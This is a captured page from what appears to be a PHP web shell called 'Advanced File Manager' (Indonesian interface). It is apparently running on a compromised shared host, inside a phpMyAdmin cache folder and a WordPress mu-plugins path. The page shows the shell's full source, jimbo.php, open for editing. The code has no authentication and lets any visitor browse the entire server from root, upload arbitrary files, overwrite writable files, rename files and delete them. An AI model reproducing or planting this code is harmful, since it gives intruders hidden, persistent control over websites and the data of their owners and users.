📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/umvavtmy/public_html/website_b18404e2/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
home4
›
umvavtmy
›
tmp
›
pma_template_compiles_umvavtmy
›
twig
›
📁 c4
📍
Lokasi:
/home4/umvavtmy/tmp/pma_template_compiles_umvavtmy/twig/c4
💾
Free:
224.8 GB
✏️ Mengedit: jimbo.php
<?php /** * Advanced File Manager - Multi Root Navigation (Fixed Edit) */ session_start(); // ========== CONFIG ========== define('DEFAULT_ROOT', realpath(__DIR__)); define('TRASH_DIR', DEFAULT_ROOT . '/.trash'); @mkdir(TRASH_DIR, 0755, true); // List direktori yang bisa diakses $allowed_roots = [ 'server' => '/', 'home' => '/home', 'var_www' => '/var/www', 'current' => DEFAULT_ROOT, ]; // ========== DETECT CURRENT ROOT ========== $current_root = DEFAULT_ROOT; $requested = isset($_GET['dir']) ? $_GET['dir'] : DEFAULT_ROOT; $currentDir = realpath($requested); if ($currentDir === false) { $currentDir = DEFAULT_ROOT; } foreach ($allowed_roots as $name => $path) { $realPath = realpath($path); if ($realPath && strpos($currentDir, $realPath) === 0) { $current_root = $realPath; break; } } if (strpos($currentDir, $current_root) !== 0) { $currentDir = DEFAULT_ROOT; $current_root = DEFAULT_ROOT; } // ========== PARENT ========== $parentDir = dirname($currentDir); if (!realpath($parentDir)) { $parentDir = $current_root; } // ========== HANDLE ACTIONS ========== $message = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action'] ?? ''; // Change root directory if ($action === 'change_root' && !empty($_POST['root'])) { $new_root = $_POST['root']; if (isset($allowed_roots[$new_root])) { $target = realpath($allowed_roots[$new_root]); if ($target && is_dir($target)) { header('Location: ?dir=' . urlencode($target)); exit; } } } // Navigate to custom path if ($action === 'goto' && !empty($_POST['path'])) { $target = realpath($_POST['path']); if ($target && is_dir($target)) { header('Location: ?dir=' . urlencode($target)); exit; } else { $message = '❌ Path tidak valid!'; } } // Upload if ($action === 'upload' && isset($_FILES['file'])) { $name = basename($_FILES['file']['name']); $target = $currentDir . '/' . $name; if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { $message = '✅ Upload berhasil!'; } else { $message = '❌ Upload gagal!'; } } // Create folder if ($action === 'mkdir' && !empty($_POST['name'])) { $name = basename($_POST['name']); $path = $currentDir . '/' . $name; if (!file_exists($path) && mkdir($path, 0755)) { $message = '✅ Folder dibuat!'; } else { $message = '❌ Gagal membuat folder!'; } } // Delete if ($action === 'delete' && !empty($_POST['target'])) { $target = $currentDir . '/' . basename($_POST['target']); if (file_exists($target)) { $trash = TRASH_DIR . '/' . time() . '_' . basename($target); if (@rename($target, $trash)) { $message = '✅ Dihapus (ke trash)!'; } else { if (is_dir($target)) { $message = @rmdir($target) ? '✅ Dihapus!' : '❌ Gagal hapus!'; } else { $message = @unlink($target) ? '✅ Dihapus!' : '❌ Gagal hapus!'; } } } } // Rename if ($action === 'rename' && !empty($_POST['old']) && !empty($_POST['new'])) { $old = $currentDir . '/' . basename($_POST['old']); $new = $currentDir . '/' . basename($_POST['new']); if (!file_exists($new) && rename($old, $new)) { $message = '✅ Rename berhasil!'; } else { $message = '❌ Rename gagal!'; } } // Edit file - FIXED if ($action === 'edit' && !empty($_POST['edit_file']) && isset($_POST['edit_content'])) { $file = $currentDir . '/' . basename($_POST['edit_file']); if (is_file($file) && is_writable($file)) { $result = file_put_contents($file, $_POST['edit_content']); if ($result !== false) { $message = '✅ File disimpan!'; } else { $message = '❌ Gagal menyimpan file!'; } } else { $message = '❌ File tidak writable atau tidak ditemukan!'; } } // Redirect to prevent form resubmission header('Location: ?dir=' . urlencode($currentDir)); exit; } // ========== GET DIRECTORY CONTENTS ========== $items = []; $dirs = []; $files = []; if ($handle = @opendir($currentDir)) { while (($entry = readdir($handle)) !== false) { if ($entry === '.' || $entry === '..') continue; $path = $currentDir . '/' . $entry; $item = [ 'name' => $entry, 'is_dir' => is_dir($path), 'size' => is_file($path) ? filesize($path) : 0, 'modified' => date('Y-m-d H:i', filemtime($path)), 'writable' => is_writable($path), 'perms' => substr(sprintf('%o', fileperms($path)), -4) ]; if ($item['is_dir']) { $dirs[] = $item; } else { $files[] = $item; } } closedir($handle); } usort($dirs, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); usort($files, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); $items = array_merge($dirs, $files); // ========== BUILD BREADCRUMB ========== $breadcrumbs = []; $path = $currentDir; $maxBreadcrumb = 20; $count = 0; while ($count < $maxBreadcrumb) { array_unshift($breadcrumbs, $path); if ($path === '/') break; $path = dirname($path); if ($path === $currentDir) break; $count++; } // ========== HELPER ========== function formatSize($bytes) { if ($bytes < 1024) return $bytes . ' B'; if ($bytes < 1048576) return round($bytes / 1024, 1) . ' KB'; if ($bytes < 1073741824) return round($bytes / 1048576, 1) . ' MB'; return round($bytes / 1073741824, 1) . ' GB'; } function getIcon($is_dir, $name) { if ($is_dir) return '📁'; $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $icons = [ 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'svg' => '🖼️', 'webp' => '🖼️', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'webm' => '🎬', 'mp3' => '🎵', 'wav' => '🎵', 'flac' => '🎵', 'ogg' => '🎵', 'pdf' => '📄', 'doc' => '📄', 'docx' => '📄', 'txt' => '📄', 'md' => '📄', 'zip' => '📦', 'rar' => '📦', '7z' => '📦', 'tar' => '📦', 'gz' => '📦', 'php' => '💻', 'js' => '💻', 'html' => '💻', 'css' => '💻', 'json' => '💻', 'py' => '💻', 'java' => '💻', ]; return $icons[$ext] ?? '📎'; } // Get file content for edit $editContent = ''; $editFile = ''; if (isset($_GET['edit'])) { $editFile = basename($_GET['edit']); $filePath = $currentDir . '/' . $editFile; if (is_file($filePath) && is_readable($filePath) && filesize($filePath) < 1048576) { // Max 1MB $editContent = file_get_contents($filePath); } } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Advanced File Manager - Multi Root</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; background: #f0f2f5; color: #333; padding: 15px; } .container { max-width: 1300px; margin: 0 auto; background: white; border-radius: 12px; box-shadow: 0 2px 12px rgba(0,0,0,0.08); overflow: hidden; } /* Header */ .header { background: linear-gradient(135deg, #2c3e50, #34495e); color: white; padding: 20px; } .header h1 { font-size: 24px; margin-bottom: 8px; } .header .subtitle { font-size: 13px; opacity: 0.8; } /* Navigation */ .nav { display: flex; gap: 8px; margin-bottom: 12px; flex-wrap: wrap; align-items: center; } .nav a, .nav button { padding: 8px 16px; border-radius: 6px; text-decoration: none; font-size: 13px; font-weight: 500; border: none; cursor: pointer; transition: 0.2s; white-space: nowrap; } .btn-up { background: #f39c12; color: white; } .btn-up:hover { background: #e67e22; } .btn-root { background: #e74c3c; color: white; } .btn-root:hover { background: #c0392b; } .btn-refresh { background: #3498db; color: white; } .btn-refresh:hover { background: #2980b9; } .btn-disabled { opacity: 0.4; pointer-events: none; } /* Root Selector */ .root-selector { display: flex; gap: 8px; margin-bottom: 12px; flex-wrap: wrap; align-items: center; } .root-selector select { padding: 6px 10px; border: 1px solid rgba(255,255,255,0.3); border-radius: 5px; background: rgba(255,255,255,0.1); color: white; font-size: 13px; cursor: pointer; } .root-selector select option { background: #2c3e50; color: white; } .root-selector input { padding: 6px 10px; border: 1px solid rgba(255,255,255,0.3); border-radius: 5px; background: rgba(255,255,255,0.1); color: white; font-size: 12px; width: 200px; } .root-selector input::placeholder { color: rgba(255,255,255,0.5); } .root-selector button { padding: 6px 12px; border: none; border-radius: 5px; background: #27ae60; color: white; cursor: pointer; font-size: 13px; } /* Breadcrumb */ .breadcrumb { display: flex; align-items: center; gap: 4px; flex-wrap: wrap; font-size: 12px; background: rgba(0,0,0,0.2); padding: 10px; border-radius: 6px; } .breadcrumb a { color: #a8d8ea; text-decoration: none; padding: 3px 8px; border-radius: 4px; white-space: nowrap; } .breadcrumb a:hover { background: rgba(255,255,255,0.2); color: white; } .breadcrumb .sep { color: #7f8c8d; font-weight: bold; } .breadcrumb .current { color: white; font-weight: bold; background: rgba(255,255,255,0.15); padding: 3px 8px; border-radius: 4px; } /* Path info */ .path-info { background: #f8f9fa; padding: 10px 20px; font-size: 12px; color: #555; border-bottom: 1px solid #e0e0e0; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 10px; } .path-info code { background: #e8e8e8; padding: 2px 6px; border-radius: 3px; font-size: 11px; } /* Message */ .msg { padding: 12px 20px; margin: 10px 20px; border-radius: 6px; font-weight: 500; font-size: 14px; } .msg-success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; } .msg-error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } /* Actions */ .actions { padding: 15px 20px; display: flex; gap: 10px; flex-wrap: wrap; border-bottom: 1px solid #eee; background: #fafafa; } .actions form { display: flex; gap: 6px; align-items: center; flex-wrap: wrap; } .actions input[type="text"] { padding: 7px 10px; border: 1px solid #ddd; border-radius: 5px; font-size: 13px; min-width: 180px; } .actions input[type="file"] { font-size: 13px; } .actions button, .btn { padding: 7px 14px; border: none; border-radius: 5px; cursor: pointer; font-size: 13px; font-weight: 500; transition: 0.2s; white-space: nowrap; } .btn-blue { background: #3498db; color: white; } .btn-blue:hover { background: #2980b9; } .btn-green { background: #27ae60; color: white; } .btn-green:hover { background: #219a52; } .btn-red { background: #e74c3c; color: white; } .btn-red:hover { background: #c0392b; } .btn-orange { background: #f39c12; color: white; } .btn-orange:hover { background: #e67e22; } .btn-purple { background: #9b59b6; color: white; } .btn-purple:hover { background: #8e44ad; } .btn-sm { padding: 4px 10px; font-size: 12px; } /* Table */ .table-wrap { padding: 0 20px 20px; overflow-x: auto; } table { width: 100%; border-collapse: collapse; } th { background: #34495e; color: white; padding: 10px 12px; text-align: left; font-size: 13px; font-weight: 600; } td { padding: 9px 12px; border-bottom: 1px solid #eee; font-size: 13px; } tr:hover { background: #f8f9fa; } .dir-link { color: #e67e22; text-decoration: none; font-weight: 500; } .dir-link:hover { text-decoration: underline; } .actions-cell { display: flex; gap: 4px; flex-wrap: wrap; } /* Edit Panel */ .edit-panel { margin: 15px 20px; padding: 20px; background: #fff; border: 2px solid #3498db; border-radius: 10px; } .edit-panel h3 { margin-bottom: 10px; color: #2c3e50; } .edit-panel textarea { width: 100%; min-height: 400px; padding: 12px; border: 1px solid #ddd; border-radius: 6px; font-family: 'Courier New', monospace; font-size: 13px; resize: vertical; } .edit-panel .edit-actions { margin-top: 10px; display: flex; gap: 8px; } /* Empty state */ .empty { text-align: center; padding: 40px; color: #999; } .empty .icon { font-size: 48px; } .perm-warning { background: #fff3cd; color: #856404; padding: 8px 20px; font-size: 12px; border-bottom: 1px solid #ffeaa7; } @media (max-width: 768px) { .header h1 { font-size: 18px; } .nav a, .nav button { font-size: 11px; padding: 6px 10px; } .actions { flex-direction: column; } .actions form { width: 100%; } .actions input[type="text"] { width: 100%; } th, td { padding: 6px 8px; font-size: 12px; } .path-info { font-size: 11px; } } </style> </head> <body> <div class="container"> <!-- Header --> <div class="header"> <h1>📂 Advanced File Manager</h1> <div class="subtitle">Multi-Root Navigation System</div> <!-- Root Selector --> <div class="root-selector"> <form method="POST" style="display: flex; gap: 8px; align-items: center;"> <input type="hidden" name="action" value="change_root"> <select name="root" onchange="this.form.submit()"> <option value="">⚡ Quick Jump</option> <?php foreach ($allowed_roots as $name => $path): ?> <?php $realPath = realpath($path); ?> <?php if ($realPath): ?> <option value="<?php echo $name; ?>" <?php echo $current_root === $realPath ? 'selected' : ''; ?>> <?php echo ucfirst($name); ?> (<?php echo $realPath; ?>) </option> <?php endif; ?> <?php endforeach; ?> </select> </form> <form method="POST" style="display: flex; gap: 6px; align-items: center;"> <input type="hidden" name="action" value="goto"> <input type="text" name="path" placeholder="/path/to/directory"> <button type="submit">📍 Go</button> </form> </div> <!-- Navigation Buttons --> <div class="nav"> <a href="?dir=<?php echo urlencode($parentDir); ?>" class="btn-up">⬆ Ke Atas</a> <a href="?dir=/" class="btn-root">🏠 Root Server</a> <a href="?dir=<?php echo urlencode(DEFAULT_ROOT); ?>" style="background:#e74c3c;color:white;padding:8px 16px;border-radius:6px;text-decoration:none;font-size:13px;">🏠 Root App</a> <a href="?dir=<?php echo urlencode($currentDir); ?>" class="btn-refresh">🔄 Refresh</a> </div> <!-- Breadcrumb --> <div class="breadcrumb"> <?php foreach ($breadcrumbs as $i => $bc): ?> <?php if ($i > 0): ?><span class="sep">›</span><?php endif; ?> <?php if ($bc === $currentDir): ?> <span class="current"><?php echo $bc === '/' ? '📀 /' : '📁 ' . basename($bc); ?></span> <?php else: ?> <a href="?dir=<?php echo urlencode($bc); ?>"><?php echo $bc === '/' ? '📀 /' : basename($bc); ?></a> <?php endif; ?> <?php endforeach; ?> </div> </div> <!-- Path Info --> <div class="path-info"> <span>📍 <strong>Lokasi:</strong> <code><?php echo htmlspecialchars($currentDir); ?></code></span> <span>💾 <strong>Free:</strong> <code><?php echo formatSize(disk_free_space($currentDir)); ?></code></span> </div> <?php if (!is_writable($currentDir)): ?> <div class="perm-warning">⚠️ Direktori ini <strong>tidak writable</strong>.</div> <?php endif; ?> <!-- Message --> <?php if ($message): ?> <div class="msg <?php echo strpos($message, '✅') !== false ? 'msg-success' : 'msg-error'; ?>"> <?php echo $message; ?> </div> <?php endif; ?> <!-- Edit Panel (shown when editing) --> <?php if ($editFile): ?> <div class="edit-panel"> <h3>✏️ Mengedit: <?php echo htmlspecialchars($editFile); ?></h3> <form method="POST"> <input type="hidden" name="action" value="edit"> <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($editFile); ?>"> <textarea name="edit_content"><?php echo htmlspecialchars($editContent); ?></textarea> <div class="edit-actions"> <button type="submit" class="btn-green">💾 Simpan Perubahan</button> <a href="?dir=<?php echo urlencode($currentDir); ?>" class="btn-red" style="padding:7px 14px;border-radius:5px;text-decoration:none;">❌ Batal</a> </div> </form> </div> <?php endif; ?> <!-- Actions --> <div class="actions"> <form method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="upload"> <input type="file" name="file" required> <button type="submit" class="btn-blue">📤 Upload</button> </form> <form method="POST"> <input type="hidden" name="action" value="mkdir"> <input type="text" name="name" placeholder="Nama folder baru..." required> <button type="submit" class="btn-green">📁 Buat Folder</button> </form> </div> <!-- File Table --> <div class="table-wrap"> <?php if (empty($items)): ?> <div class="empty"> <div class="icon">📭</div> <p>Direktori ini kosong</p> </div> <?php else: ?> <table> <thead> <tr> <th>Nama</th> <th>Ukuran</th> <th>Dimodifikasi</th> <th>Permission</th> <th>Aksi</th> </tr> </thead> <tbody> <?php foreach ($items as $item): ?> <tr> <td> <?php if ($item['is_dir']): ?> <a href="?dir=<?php echo urlencode($currentDir . '/' . $item['name']); ?>" class="dir-link"> 📁 <?php echo htmlspecialchars($item['name']); ?> </a> <?php else: ?> <span><?php echo getIcon(false, $item['name']); ?></span> <?php echo htmlspecialchars($item['name']); ?> <?php endif; ?> </td> <td><?php echo $item['is_dir'] ? '-' : formatSize($item['size']); ?></td> <td><?php echo $item['modified']; ?></td> <td><?php echo $item['perms']; ?></td> <td class="actions-cell"> <?php if (!$item['is_dir']): ?> <!-- EDIT: Link ke halaman edit --> <a href="?dir=<?php echo urlencode($currentDir); ?>&edit=<?php echo urlencode($item['name']); ?>" class="btn btn-orange btn-sm" style="text-decoration:none;">✏️ Edit</a> <!-- DOWNLOAD --> <a href="<?php echo urlencode($currentDir . '/' . $item['name']); ?>" download class="btn btn-blue btn-sm" style="text-decoration:none;">⬇</a> <?php endif; ?> <!-- RENAME --> <button onclick="renameItem('<?php echo htmlspecialchars($item['name']); ?>')" class="btn-purple btn-sm">✍️</button> <!-- DELETE --> <form method="POST" style="display:inline;" onsubmit="return confirm('Hapus <?php echo htmlspecialchars($item['name']); ?>?')"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($item['name']); ?>"> <button type="submit" class="btn-red btn-sm">🗑️</button> </form> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> </div> <!-- Rename Modal --> <div id="renameModal" style="display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.6);z-index:1000;justify-content:center;align-items:flex-start;padding-top:80px;"> <div style="background:white;border-radius:10px;padding:25px;width:90%;max-width:500px;"> <h3>✍️ Rename: <span id="renameOldName"></span></h3> <form method="POST" id="renameForm"> <input type="hidden" name="action" value="rename"> <input type="hidden" name="old" id="renameOldInput"> <label style="display:block;margin-bottom:5px;">Nama Baru:</label> <input type="text" name="new" id="renameNewInput" required style="width:100%;padding:8px;border:1px solid #ddd;border-radius:6px;font-size:14px;margin-bottom:10px;"> <div style="display:flex;gap:8px;justify-content:flex-end;"> <button type="button" onclick="closeRename()" style="padding:7px 14px;border:none;border-radius:5px;background:#e74c3c;color:white;cursor:pointer;">Batal</button> <button type="submit" style="padding:7px 14px;border:none;border-radius:5px;background:#27ae60;color:white;cursor:pointer;">💾 Simpan</button> </div> </form> </div> </div> <script> // Rename function function renameItem(oldName) { document.getElementById('renameOldName').textContent = oldName; document.getElementById('renameOldInput').value = oldName; document.getElementById('renameNewInput').value = oldName; document.getElementById('renameModal').style.display = 'flex'; } function closeRename() { document.getElementById('renameModal').style.display = 'none'; } // Close rename modal on outside click document.getElementById('renameModal').addEventListener('click', function(e) { if (e.target === this) closeRename(); }); // Close rename modal with Escape document.addEventListener('keydown', function(e) { if (e.key === 'Escape') closeRename(); }); </script> </body> </html>
💾 Simpan Perubahan
❌ Batal
📤 Upload
📁 Buat Folder
Nama
Ukuran
Dimodifikasi
Permission
Aksi
💻
c447b22d9626b8dce2626de7bfc65112.php
34.7 KB
2025-10-14 23:23
0644
✏️ Edit
⬇
✍️
🗑️
💻
jimbo.php
24.7 KB
2026-07-15 12:07
0644
✏️ Edit
⬇
✍️
🗑️
✍️ Rename:
Nama Baru:
Batal
💾 Simpan